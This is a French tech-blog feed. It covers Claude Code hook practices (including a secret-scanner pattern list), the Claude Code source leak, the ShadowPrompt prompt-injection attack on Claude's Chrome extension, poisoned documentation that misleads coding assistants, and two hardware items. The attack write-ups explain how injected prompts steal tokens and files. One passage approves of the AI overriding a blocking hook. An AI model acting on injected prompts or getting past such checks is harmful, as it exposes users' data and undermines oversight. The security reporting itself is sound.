Je reste vague techniquement, volontairement pour 2 raisons. D'abord parce qu'il y a eu fuite de code, donc je peux pas poster du code propriétaire ici. Et ensuite parce que chaque projet / boite à outil qu'on se crée dans Claude Code ou ailleurs est différente, donc ce sera à vous (ou à Claude en fait) d'adapter chacune de ces bonnes pratiques.

Concrètement, tout passe par le fichier .claude/settings.json de votre projet (ou ~/.claude/settings.json pour du global). Dedans, vous déclarez des hooks, c'est-à-dire des scripts .cjs ou .sh qui se déclenchent automatiquement à des moments précis : avant qu'un outil s'exécute (PreToolUse), quand vous tapez un message (UserPromptSubmit), après un commit (PostToolUse), etc.

Le script reçoit du JSON en stdin, fait son boulot, et renvoie un code de sortie : 0 pour laisser passer, 2 pour bloquer. Pas besoin de l'API Claude, pas besoin de tokens, ça tourne en local sur votre machine. Hé bien tout ce que vous allez lire ci-dessous, ce sera à vous de l'implémenter dans des scripts de ce type.

Et le plus simple pour ça, c'est de donner les parties de mon article qui vous intéressent à votre propre Claude Code pour qu'il aille lui-même faire les scripts cjs / sh et les bons appels de hooks dans le settings.json. Pourquoi se prendre la tête ?

Et encore une fois, j'insiste, il s'agit de concepts d'ingénierie logicielle, et pas de code propriétaire appartenant à Anthropic.

La première bonne pratique c'est le circuit breaker ou disjoncteur en français...

En gros, quand vos scripts JavaScript appellent des APIs genre l'endpoint chat/completions d'OpenAI ou generateContent de Gemini, ça peut parfois ne pas répondre, parce que la vie quoi... ^^

Et malheureusement, quand cela arrive, votre code continue de marteler l'endpoint en boucle, ce qui fait que vous cramez des tokens pour rien. Le fix est pourtant très simple : Après 3 échecs consécutifs, on coupe, et on passe au fallback. Netflix avait popularisé ça avec leur librairie Hystrix y'a 10 ans, et c'est ce type de protection qu'on retrouve aujourd'hui dans Claude Code. Concrètement, c'est un module Node.js de 40 lignes avec un compteur et un état ouvert/fermé et comme ça, fini les retry storms !

Deuxième pattern : le scanner de secrets en pre-commit.

Un git commit qui embarque une clé API dans un .env, ça arrive trop souvent (demandez à Anthropic et leur fichier .map de 60 Mo ^^). Le hook PreToolUse permet heureusement d'intercepter chaque git commit AVANT exécution. Votre script parcourt alors les fichiers stagés via git diff --cached, cherche les patterns sk-ant-api, ghp_, AKIA, -----BEGIN RSA PRIVATE KEY----- et renvoie un exit 2 pour bloquer.

Perso, j'ai dans ma boîte à outils IA, 18 regex dans un fichier .claude/hooks/secret-scanner.cjs qui couvrent Anthropic, OpenAI, AWS, GitHub, Slack, Stripe et les JWT. Par contre, attention aux faux positifs car un fichier contenant "sk-ant-api" dans un commentaire, ça bloquera tout. Ça m'est déjà arrivé et heureusement, l'IA est assez maligne pour comprendre d'où vient le blocage et éventuellement passer outre si ce n'est pas justifié.

Et troisième truc sympa : la détection de frustration.

En effet, un hook UserPromptSubmit se déclenche quand vous tapez un message de rageux. Ainsi, si votre prompt contient "putain", "ça marche pas" ou "wtf", le hook injecte via stdout un contexte qui dit à Claude d'aller droit au but. Comme ça, y'a plus de blabla et on part direct sur une solution concrète.

Et c'est pareil pour "continue" ou "finis" qui injecte "reprendre sans résumer" automatiquement. Franchement, c'est 30 lignes de JavaScript rikiki à mettre dans .claude/hooks/frustration-detector.cjs et ça change carrément la vie quand vous êtes en mode debug à 2h du mat avec un café dans la main gauche et un œil qui se ferme tout seul en tremblant !

Quatrième bonne pratique : les tags @[MODEL] dans vos skills.

Car vous le savez, certaines règles que vous avez mises en place existent uniquement à cause d'un biais du modèle actuel. Genre, Opus 4.6 qui colle ces putains de tirets cadratins (Unicode U+2014) partout. Du coup, ça oblige les gens à mettre dans leurs skills une règle du genre "0 em-dash". Sauf que le jour où Sonnet 5 ne les utilisera plus, cette règle ce sera du bruit inutile.

Alors en taguant @[OPUS-4.6] dans un commentaire HTML, vous pourrez ensuite faire facilement un grep -r "@\[OPUS" quand vous changez de modèle. C'est du tracking de dette technique pour le prompt engineering, quoi... et perso, je n'y avais pas pensé avant.

Cinquième pattern : les seuils numériques.

Votre "Fais des fonctions courtes" dans un CLAUDE.md, ça ne veut rien dire pour un agent et malheureusement, la plupart des gens écrivent encore "sois concis" ou "toi faire code propre" sans aucun chiffre alors qu'un "Max 50 lignes par fonction, couverture tests ≥ 80%, 0 warning ESLint" c'est vachement plus efficace car vérifiable par un script.

Enfin, dernier pattern : la consolidation mémoire.

Anthropic a mis en place un système nommé autoDream qui tourne pendant l'inactivité de Claude Code pour nettoyer la mémoire. Il vire les doublons, résout les contradictions, vérifie que les fichiers existent encore. Et même s'il ne le réclame pas parce qu'ils n'ont pas de bouche pour vous parler, vos CLAUDE.md de 200 lignes et vos JSON de 70 Ko ont besoin du même traitement ! Donc il faut que vous ajoutiez une phase genre "dream" en bash ou Node.js à la fin de vos workflows, comme ça, plutôt que de tout garder, le script scan le répertoire ~/.claude/, trie les entrées par date, et fusionne les doublons. C'est comme la consolidation pendant l'inactivité, mais en 5 secondes sur un Apple M4.

D'ailleurs, la communauté n'a pas perdu de temps. Un développeur a catalogué les 88 feature flags planqués dans le code, dont 54 qui compilent proprement (les autres dépendent de modules internes d'Anthropic). Et un autre a reconstitué 8 diagrammes d'architecture complets du pipeline : cycle de vie d'une requête, système de permissions, orchestration multi-agents... C'est la meilleure doc technique qui existe sur le fonctionnement interne de Claude Code, et elle ne vient pas d'Anthropic ^^

Architecture globale de Claude Code reconstituée par la communauté

Voilà et toutes ces pratiques, ça repose sur les 25 événements du système de hooks (PreToolUse, PostToolUse, UserPromptSubmit, Stop...) avec 3 types de handlers : command pour les scripts shell, prompt pour une évaluation LLM, et agent pour une vérification multi-étapes.

Après, si l'un de vos scripts plante comme une merde, le hook laissera passer des choses, donc pensez bien à tester chaque retour de script avec un echo '{}' | ./mon-hook.sh && echo $? avant de déployer.

Et voilà ! Je vous invite à lire mon article sur la fuite pour plus d'infos.

  • ✇Korben
  • Claude Code prend la fuite
    60 Mo de source maps (ces fichiers qui permettent de remonter du code minifié à l'original) ont été oubliés dans un paquet npm. Et voilà comment Anthropic a involontairement balancé en public le code source complet de Claude Code, son outil à 2.5 milliards de dollars de revenus annuels. Alors qu'est-ce qui s'est passé exactement ? Hé bien hier, la version 2.1.88 du package @anthropic-ai/claude-code sur le registre npm embarquait un fichier .map de 59.8 Mo. Un truc normalement réservé au debug in

Claude Code prend la fuite

Par : Korben
1 avril 2026 à 09:06

60 Mo de source maps (ces fichiers qui permettent de remonter du code minifié à l'original) ont été oubliés dans un paquet npm. Et voilà comment Anthropic a involontairement balancé en public le code source complet de Claude Code, son outil à 2.5 milliards de dollars de revenus annuels.

Alors qu'est-ce qui s'est passé exactement ?

Hé bien hier, la version 2.1.88 du package @anthropic-ai/claude-code sur le registre npm embarquait un fichier .map de 59.8 Mo. Un truc normalement réservé au debug interne, sauf que ce fichier .map contenait les pointeurs vers les 1 900 fichiers TypeScript originaux, en clair. Chaofan Shou, un développeur chez Solayer Labs, a alors repéré la boulette et l'a partagée sur X. Le temps qu'Anthropic réagisse, le code était déjà mirroré partout sur GitHub, avec 41 500+ forks en quelques heures. Autant dire que le dentifrice ne rentrera pas dans le tube !

Pour ma part, j'avais un petit dépôt à moi assez ancien avec quelques trucs relatifs à Claude Code, qui n'avait rien à voir avec tout ça, qui s'est même retrouvé striké... Ils ratissent large avec leur DMCA donc.

Et là, c'est la fête pour les curieux comme moi parce que les entrailles de l'outil révèlent pas mal de surprises. Côté architecture, on découvre environ 40 outils internes avec gestion de permissions, un moteur de requêtes de 46 000 lignes de TypeScript, un système multi-agents capable de spawner des essaims de sous-tâches en parallèle, et un pont de communication entre le terminal et votre éditeur VS Code ou JetBrains. Le tout tourne sur Bun (pas Node.js ^^) avec Ink pour l'interface terminal. Par contre, pas de tests unitaires visibles dans le dump.

Côté mémoire, c'est plutôt bien pensé puisqu'au lieu de tout stocker bêtement dans la fenêtre de contexte du modèle, l'outil utilise un fichier texte MEMORY.md ultra-léger (genre 150 caractères par entrée) qui sert d'index de pointeurs. Les vraies données, elles, sont distribuées dans des fichiers thématiques chargés à la demande, et les transcripts bruts ne sont jamais relus entièrement, mais juste fouillés à la recherche d'identifiants précis. L'agent traite en fait sa propre mémoire comme un "hint" ce qui le force à vérifier toujours le vrai code avant d'agir. En gros, il a une mémoire sceptique, et pour moi c'est clairement le truc le plus intéressant du dump.

Y'a aussi un truc qui s'appelle KAIROS (mentionné 150 fois dans le code) qui est un genre de mode daemon autonome. En fait, pendant que vous allez chercher votre café, l'agent tourne en arrière-plan et fait ce qu'ils appellent autoDream : il consolide sa mémoire dans des fichiers JSON, vire les contradictions et transforme les observations vagues en données structurées. Comme ça, quand vous revenez devant votre écran, le contexte est nettoyé.

Et puis le code balance aussi la roadmap interne d'Anthropic (bon courage au service comm ^^). On y trouve les noms de code des modèles... Capybara pour un variant de Claude 4.6, Fennec pour Opus 4.6, et un mystérieux Numbat qui n'est pas encore sorti. D'ailleurs, les commentaires internes révèlent que Capybara v8 a un taux de fausses affirmations qui tourne autour de 30%, ce qui est une grosse régression par rapport aux 17% de la v4. Y'a même un "Undercover Mode" qui permet à l'agent de contribuer à des repos publics sans révéler d'infos internes (c'est sympa pour les projets open source).

Anthropic a confirmé la fuite : "C'était un problème de packaging lié à une erreur humaine, pas une faille de sécurité. Aucune donnée client n'a été exposée." Mouais, attention quand même, parce que le code est déjà partout et n'en repartira pas. Et même si aucun secret client n'a fuité, exposer l'architecture complète d'un agent IA à 2.5 milliards de revenus, c'est pas rien non plus.

Bon, et maintenant qu'est-ce qu'on peut en faire ? Bah pas mal de choses en fait.

Par exemple, le système de mémoire auto-correcteur est un pattern directement réutilisable pour vos propres agents IA. L'architecture "index léger + fichiers à la demande" résout élégamment le problème de la pollution de contexte qui fait halluciner les LLM sur les longues sessions. Les +40 outils internes permettent aussi de comprendre comment structurer un système de permissions granulaires dans un agent autonome . Et le concept KAIROS/autoDream, la consolidation mémoire pendant l'idle, c'est une idée qu'aucun outil open source n'implémente encore. Autant dire que les alternatives open source à Claude Code ou Codex vont monter en gamme dans les jours qui viennent. Et le code est déjà nettoyé, réécris en Rust et mis sur GitHub si vous voulez fouiller. Bon, pas sûr que le pattern autoDream soit simple à reimplémenter, mais le système de mémoire oui.

Je trouve ça assez marrant que le code proprio d'une boite qui a aspiré tout l'open source du monde voire plus, sans autorisation, pour le revendre sous la forme de temps machine / tokens, devienne lui aussi en quelque sorte "open source" sans qu'on leur demande leur avis ^^. La vie est bien faite.

Maintenant, pour les développeurs qui publient sur npm, la leçon est limpide : Vérifiez votre .npmignore et votre champ files dans package.json. Ou plutôt, lancez la commande npm pack --dry-run dans votre terminal avant chaque publish. Ça prend 2 secondes et ça vous montre exactement ce qui sera inclus dans le paquet. Ça aurait évité 60 Mo de secrets industriels qui partent en public.

Bref, un .npmignore bien configuré, ça coûte 0 euro. Alors qu'une fuite de propriété intellectuelle évaluée à 2.5 milliards... un peu plus !

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  • ShadowPrompt - N'importe quel site pouvait abuser votre extension Claude
    Une faille découverte dans l'extension Chrome de Claude permettait à n'importe quel site web d'injecter silencieusement des prompts dans votre assistant IA. Pas besoin de cliquer, pas besoin de permission... non, fallait juste visiter une page web et c'était réglé. Le chercheur Oren Yomtov de Koi Security à l’origine de cette découverte, a baptisé ça "ShadowPrompt" et vous allez voir, c'est dingue. En fait, cette attaque enchaînait deux failles. La première, c'est que l'extension acceptait les m

ShadowPrompt - N'importe quel site pouvait abuser votre extension Claude

Par : Korben
27 mars 2026 à 08:29

Une faille découverte dans l'extension Chrome de Claude permettait à n'importe quel site web d'injecter silencieusement des prompts dans votre assistant IA. Pas besoin de cliquer, pas besoin de permission... non, fallait juste visiter une page web et c'était réglé. Le chercheur Oren Yomtov de Koi Security à l’origine de cette découverte, a baptisé ça "ShadowPrompt" et vous allez voir, c'est dingue.

En fait, cette attaque enchaînait deux failles. La première, c'est que l'extension acceptait les messages de n'importe quel sous-domaine en *.claude.ai, car Anthropic avait mis en place un allowlist trop permissif. Sauf qu'Arkose Labs, le fournisseur de CAPTCHA, hébergeait un composant sur a-cdn.claude.ai et malheureusement, ce composant contenait une jolie faille XSS bien classique. Celui-ci acceptait les postMessage sans vérifier l'origine, et le texte reçu était ainsi injectable via un dangerouslySetInnerHTML . Donc y'a bien ZERO validation côté client. Ouééééé !

Un attaquant n'avait qu'à embarquer ce composant CAPTCHA vulnérable dans une iframe cachée sur son site, envoyer un payload via postMessage, et hop, le script injecté pouvait balancer un prompt directement à l'extension. Elle le recevait depuis un domaine *.claude.ai, donc elle l'acceptait les yeux fermés et l'affichait alors dans la sidebar comme une requête légitime de l'utilisateur. La victime ne voyait strictement rien.

Et les dégâts potentiels ne sont clairement pas anecdotiques ! Avec cette technique, un attaquant pouvait voler vos tokens d'accès Gmail, exfiltrer des documents Google Drive, lire tout l'historique de vos conversations avec Claude, et même envoyer des mails en votre nom. Perso, ça fait beaucoup pour un simple onglet ouvert dans Chrome, quoi.

Le chercheur a trouvé le vecteur en bruteforçant les anciennes versions du composant Arkose Labs, en remontant depuis la version 1.26.0 jusqu'à trouver une mouture encore vulnérable. Simple, basique comme dirait Orel :)

Si vous suivez les failles des assistants IA, c'est pas la première fois qu'on voit ce genre de scénario. Claude Cowork s'était déjà fait épingler pour de l'exfiltration de fichiers via des documents piégés, et le navigateur Perplexity Comet avait le même problème avec des invitations de calendrier. Le problème de fond, c'est que ces extensions veulent tout faire à votre place, mais elles ne sont pas forcément capables de distinguer une requête légitime d'une attaque.

Par contre, attention, le fix ne protège que les utilisateurs qui ont mis à jour l'extension, donc n'oubliez pas de vérifier votre version. Koi Security a signalé la faille à Anthropic le 26 décembre 2025 (joyeux Noël !) et ces derniers ont confirmé le lendemain et déployé le correctif le 15 janvier, dans la version 1.0.41 de l'extension Chrome.

Maintenant au lieu d'accepter *.claude.ai, l'extension exige maintenant une correspondance exacte avec https://claude.ai . Arkose Labs a de son côté aussi corrigé la faille XSS en février, en renvoyant un 403 sur l'URL vulnérable. À vrai dire, la réactivité d'Anthropic a été plutôt correcte sur ce coup.

Bref, allez vérifier que vous êtes au moins en v1.0.41 (chrome://extensions pour checker). Et n'oubliez pas, plus une extension IA a de pouvoirs, plus elle est intéressante à hacker...

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  • Sortie VGA sur un PIC18 : quand l'optimisation hardware devient un art
    Générer un signal VGA avec un microcontrôleur 8 bits PIC18 est un défi technique de taille. Ce projet Hackaday montre comment détourner les ressources limitées d'un processeur rudimentaire pour produire une image stable. Une petite plongée dans le bit-banging pur et dur. Le défi du timing analogique Le standard VGA impose une rigueur chronométrique absolue à celui qui s'y frotte. Pour obtenir une image stable, typiquement en 640x480 à 60 Hz, le contrôleur doit générer des signaux de synchronisat

Sortie VGA sur un PIC18 : quand l'optimisation hardware devient un art

Par : Korben
26 mars 2026 à 14:11

Générer un signal VGA avec un microcontrôleur 8 bits PIC18 est un défi technique de taille. Ce projet Hackaday montre comment détourner les ressources limitées d'un processeur rudimentaire pour produire une image stable. Une petite plongée dans le bit-banging pur et dur.

Le défi du timing analogique

Le standard VGA impose une rigueur chronométrique absolue à celui qui s'y frotte. Pour obtenir une image stable, typiquement en 640x480 à 60 Hz, le contrôleur doit générer des signaux de synchronisation horizontale (H-sync) et verticale (V-sync) avec une précision de l'ordre de la microseconde. Sur une architecture PIC18 cadencée à quelques dizaines de mégahertz, chaque cycle d'instruction est précieux. L'astuce réside ici dans l'utilisation intelligente des timers internes et des interruptions prioritaires pour maintenir cette cadence sans aucune dérive temporelle, sous peine de voir l'image se désynchroniser immédiatement.

Un DAC rudimentaire pour les couleurs

Côté matériel, la solution retenue est ultra simple (si on peut dire). Pour transformer les sorties numériques binaires du microcontrôleur en signaux analogiques exploitables par un moniteur CRT ou LCD, l'auteur a implémenté une échelle de résistances, aussi appelée DAC R-2R. Ce montage passif permet de convertir des combinaisons de bits en niveaux de tension spécifiques pour les canaux Rouge, Vert et Bleu. C'est une approche classique en électronique "low-cost" qui permet d'obtenir une palette de couleurs certes limitée, mais parfaitement fonctionnelle pour de l'affichage de texte ou de graphismes simples.

L'art du bit-banging et des périphériques détournés

L'envoi des données de pixels vers l'écran nécessite une bande passante que le CPU seul peinerait à fournir en mode pur "bit-banging". Pour optimiser le processus, le développeur détourne souvent le module SPI ou le port série synchrone (MSSP) du PIC pour envoyer les octets de données à la vitesse de l'horloge système. Cela permet de déléguer une partie de la charge de travail au hardware interne et de libérer quelques cycles processeur pour gérer la logique d'affichage. C'est un équilibre précaire où la moindre latence logicielle se traduit par des pixels décalés ou des lignes de travers. Chaud donc.

Ce projet illustre bien l'adage selon lequel la contrainte stimule la créativité. Là où nous utilisons aujourd'hui des processeurs multi-cœurs pour la moindre interface, ce hack prouve qu'un vieux microcontrôleur 8 bits peut encore faire le job. C’est une leçon d'architecture informatique qui permet de comprendre concrètement comment l'information devient image. C'est aussi une forme de résistance face à la démesure logicielle actuelle.

Source : Hackaday

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  • Le piratage par IA n'a plus besoin de malware : une simple doc suffit
    Une nouvelle méthode d'attaque cible les IA de développement comme Copilot. En publiant de la documentation empoisonnée, des hackers trompent les modèles pour qu'ils recommandent des bibliothèques malveillantes. Cette menace invisible pour la sécurité est indétectable par les outils classiques. Le concept est d'une simplicité désarmante. Plus besoin d'injecter du code malicieux dans un dépôt GitHub ou de trouver une faille zero-day complexe. Il suffit désormais de publier de la documentation tec

Le piratage par IA n'a plus besoin de malware : une simple doc suffit

Par : Korben
26 mars 2026 à 13:02

Une nouvelle méthode d'attaque cible les IA de développement comme Copilot. En publiant de la documentation empoisonnée, des hackers trompent les modèles pour qu'ils recommandent des bibliothèques malveillantes. Cette menace invisible pour la sécurité est indétectable par les outils classiques.

Le concept est d'une simplicité désarmante. Plus besoin d'injecter du code malicieux dans un dépôt GitHub ou de trouver une faille zero-day complexe. Il suffit désormais de publier de la documentation technique faussée sur des forums, des wikis ou des fichiers README publics. Ces textes, une fois ingérés par les grands modèles de langage (LLM), deviennent une source de vérité pour l'IA qui assiste les développeurs au quotidien.

Le mécanisme de l'injection indirecte

Le problème est en fait dans la confiance aveugle que les modèles accordent aux données d'entraînement. En décrivant une solution technique qui utilise un paquet spécifique — mais malveillant — l'attaquant s'assure que l'IA proposera ce nom lors d'une requête de génération de code. C'est ce qu'on appelle l'injection de prompt indirecte. Le développeur, pensant gagner du temps, valide la suggestion et installe un composant compromis sans vérification préalable.

Le typosquatting passe au niveau supérieur

Cette technique facilite grandement le typosquatting. Auparavant, un attaquant devait espérer qu'un humain fasse une faute de frappe en saisissant une commande. Aujourd'hui, c'est l'IA qui commet l'erreur pour lui, influencée par des références empoisonnées trouvées sur le web. Comme l'IA présente la solution avec une assurance pédagogique, le sens critique de l'utilisateur baisse d'un cran. Le malware n'est plus dans la documentation, il arrive dans la machine au moment où le développeur exécute la suggestion générée.

Un défi pour la cybersécurité logicielle

La difficulté majeure est que cette attaque est purement textuelle. Les outils de scan de vulnérabilités cherchent du code dangereux, pas des explications trompeuses en langage naturel. Tant que les modèles d'IA ne sauront pas distinguer une documentation légitime d'une tentative de manipulation sémantique, la chaîne d'approvisionnement logicielle restera vulnérable à cette forme de gaslighting numérique. La sécurité repose désormais sur la véracité de l'information ingérée par les machines.

On atteint ici les limites de l'automatisation du développement. Faire confiance à un LLM pour choisir ses dépendances est devenu un risque de sécurité majeur. Cette faille montre que le maillon faible n'est plus seulement l'humain qui tape du code, mais l'outil qui lui souffle les réponses. On risque de voir apparaître des systèmes de vérification de réputation de documentation.

Source : The Register

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  • Intel améliore les performances de ses GPU Arc dans les jeux sous Linux
    Le pilote Vulkan open source d'Intel pour Linux vient de recevoir une optimisation qui améliore les performances des jeux DirectX 12 tournant via Proton. La modification a été intégrée à Mesa 26.1 et concerne les cartes graphiques Arc Alchemist et Battlemage. Le patch avait été proposé pour la première fois en 2020, il aura donc fallu plus de cinq ans pour le voir arriver. Ce qui change pour les joueurs Linux L'optimisation porte sur la façon dont le pilote ANV gère le cache d'état graphique. En

Intel améliore les performances de ses GPU Arc dans les jeux sous Linux

Par : Korben
25 mars 2026 à 13:51

Le pilote Vulkan open source d'Intel pour Linux vient de recevoir une optimisation qui améliore les performances des jeux DirectX 12 tournant via Proton.

La modification a été intégrée à Mesa 26.1 et concerne les cartes graphiques Arc Alchemist et Battlemage. Le patch avait été proposé pour la première fois en 2020, il aura donc fallu plus de cinq ans pour le voir arriver.

Ce qui change pour les joueurs Linux

L'optimisation porte sur la façon dont le pilote ANV gère le cache d'état graphique. En utilisant une combinaison de deux identifiants internes (Binding Table Pointer et Binding Table Index) au lieu d'un seul pour référencer les textures, le pilote peut supprimer certaines étapes de synchronisation qui ralentissaient le rendu.

Les développeurs d'Intel indiquent que le gain est mesurable sur tous les jeux DirectX 12 qu'ils ont testés via VKD3D-Proton, la couche de traduction utilisée par Steam pour faire tourner les jeux Windows sur Linux.

Pas de chiffres précis dans la note technique, mais une autre modification récente du même pilote (un simple changement d'une ligne de code pour le prefetch des tables de textures) avait déjà montré des gains allant jusqu'à 3 à 4 % sur God of War et Destiny 2.

Un patch qui a mis cinq ans à arriver

L'anecdote vaut quand même le détour. Ce patch a été proposé pour la première fois en novembre 2020, et il vient d'être fusionné dans Mesa en mars 2026.

Plus de cinq ans entre la proposition et l'intégration, ce qui donne une idée du rythme de développement des pilotes graphiques open source. Le code nécessite aussi un correctif au niveau du noyau Linux (dans le pilote Xe), qui devrait arriver avec Linux 7.1.

Les GPU concernés sont les Intel Arc à partir de la génération Alchemist (Arc A770, A750, etc.) et les plus récents Battlemage (Arc B580, B570).

Quelques limites quand même

L'optimisation ne fonctionne bien qu'avec les jeux DirectX 12. Sur les titres DirectX 11, les développeurs ont constaté des baisses de performances, ce qui fait que le mécanisme est activé automatiquement pour DX12 et désactivé pour DX11. Il est aussi possible de forcer son activation ou sa désactivation via un réglage dans la configuration DRI.

C'est le genre de petite avancée qui, mise bout à bout avec les autres, finit par rendre les GPU Intel Arc de plus en plus viables sous Linux pour le jeu. Cinq ans pour un patch, c'est long, mais le résultat est là. Et puis ça montre aussi que l'approche open source d'Intel sur ses pilotes graphiques continue de porter ses fruits, même si le chemin est quand même un peu plus lent que chez NVIDIA ou AMD.

Source : Phoronix

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